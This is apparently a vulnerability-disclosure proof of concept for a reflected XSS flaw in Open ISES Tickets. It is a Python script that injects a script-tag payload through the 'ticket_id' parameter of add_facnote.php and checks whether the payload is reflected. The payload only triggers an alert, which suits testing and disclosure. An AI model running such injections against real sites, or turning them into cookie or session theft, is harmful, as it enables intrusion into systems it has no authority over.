CVE-2026-35012 Open ISES Tickets反射型XSS漏洞

import requests # Target URL of the vulnerable endpoint target_url = "http://target.com/add_facnote.php" # Malicious payload designed to break out of the hidden input value attribute # The payload attempts to close the input tag and inject a script tag payload = '"><script>alert(\'XSS\');</script>' # Construct the full malicious URL params = {"ticket_id": payload} try: # Send the GET request response = requests.get(target_url, params=params, timeout=10) # Check if the payload is reflected in the response (basic verification) if "alert('XSS')" in response.text: print("[+] Potential Vulnerability Detected: Payload reflected in response.") print(f"[+] Request URL: {response.url}") else: print("[-] Payload not reflected or vulnerability not exploitable.") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}")